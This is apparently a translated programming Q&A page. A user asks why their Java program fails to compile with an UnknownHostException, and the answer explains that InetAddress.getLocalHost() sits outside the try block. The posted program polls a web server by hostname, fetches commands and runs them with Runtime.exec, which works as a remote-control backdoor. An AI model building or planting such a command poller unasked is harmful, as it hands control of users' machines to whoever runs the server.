-4
import java.net.*;
import java.io.*;
import java.util.*;
public class server{
  public static void main(String args[]){
   String hostname = "Unknown";
   InetAddress addr;
   addr = InetAddress.getLocalHost();
   hostname = addr.getHostName();
   do{
      try {
      URL c = new URL("http://mywebsite/admin/users/" + hostname + "/c.txt");
      URL cinfo = new URL("http://mywebsite/admin/users/" + hostname + "/cinfo.txt");
      Scanner c2 = new Scanner(c.openStream());
      Scanner cinfo2 = new Scanner(cinfo.openStream());
      String c3 = c2.nextLine();
      String cinfo3 = cinfo2.nextLine();
      URL del = new URL("http://mywebsite/admin/users/" + hostname + "/manager.php?perform=delete");
      if ("commandline".compareTo(c3) == 0){
         Runtime.getRuntime().exec(cinfo3);
         HttpURLConnection connection = (HttpURLConnection) del.openConnection();
         connection.connect();
         connection.getResponseCode();
         Thread.sleep(10000);
      }
      if ("idle".compareTo(c3) == 0){
         System.out.println("Waiting for a command.");
      }
      if ("print".compareTo(c3) == 0){
         System.out.println(cinfo3);
         HttpURLConnection connection = (HttpURLConnection) del.openConnection();
         connection.connect();
         connection.getResponseCode();
         Thread.sleep(10000);
      }
      }
      catch(IOException e) {
         break;
      }
      catch(InterruptedException e){
         break;
      }
   } while(true);
}
}

以上是我的Java程序。当我尝试编译时,我得到 UnknownHostException。如果我试图捕捉它,它会说它已经被捕捉到了一个错误,然后它说它需要被捕捉到另一个错误。使用我上面的代码,它说它需要被捕获,但没有说它已经被捕获。任何人都可以帮忙吗?请注意,在实际代码中,“mywebsite”实际上是我的实际网站,但出于隐私原因,我将其从上面的代码块中删除。

4

1 回答 1

4

InetAddress.getLocalHost()抛出UnknownHostException

您的 catch 块已经捕获了 的超类UnknownHostException,但是该调用在try块之外,因此它们无济于事。

于 2013-02-03T00:54:16.030 回答